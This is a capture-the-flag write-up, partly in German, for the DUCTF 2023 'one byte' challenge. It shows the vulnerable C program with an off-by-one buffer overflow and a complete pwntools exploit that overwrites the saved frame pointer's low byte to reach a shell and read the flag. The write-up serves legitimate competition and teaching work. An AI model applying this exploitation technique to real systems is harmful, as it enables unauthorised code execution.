Files
2023-09-02 15:57:10 +02:00
..
2023-09-02 15:57:10 +02:00
2023-09-02 14:08:40 +02:00
2023-09-02 15:57:10 +02:00
2023-09-02 15:57:10 +02:00

one byte

Here's a one byte buffer overflow!

Author: joseph
nc 2023.ductf.dev 30018 

Source

onebyte.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

void win() {
    system("/bin/sh");
}

int main() {
    init();

    printf("Free junk: 0x%lx\n", init);
    printf("Your turn: ");

    char buf[0x10];
    read(0, buf, 0x11);
}

Analyse

Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken.

Das Byte, welches wir overflown können überschreibt einen teil des safe frame pointers.

Lösung

Wir füllen unseren Buffer der Größe 0x10 also 4x mit der Adresse von win, die wir aus dem leek berechnen. danach überschreiben wir das letzte Byte vom sfp mit 0x80 (zufall). Da es nicht sicher ist, dass einer unserer pointer an einer Adresse mit 0x80 am ende liegt, daher führen wir das so oft aus, bis wir die flagge bekommen:

from pwn import *
import os

os.environ["PWNLIB_DEBUG"] = "1"

gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
br *main+93
c
'''

elf = ELF(os.getcwd()+"/onebyte")

def start():
    if args.GDB:
        return gdb.debug(elf.path, gs)
    if args.REMOTE:
        return remote("2023.ductf.dev", 30018)
    else:
        return process(elf.path)

while True:
    io = start()

    io.recvuntil("Free junk: ")
    x = io.recvline()
    x = int(x[2:-1],16)

    print(hex(x))

    print(io.recvuntil("Your turn: "))
    # io.send(p32(x+70)+ cyclic(8) + p32(x+70))
    io.send(p32(x+70) +p32(x+70) +p32(x+70) + p32(x+70) + b"\x80")
    io.sendline(b"cat flag.txt")
    print(io.recvall(timeout=2)) # if timeout triggers, we got the flag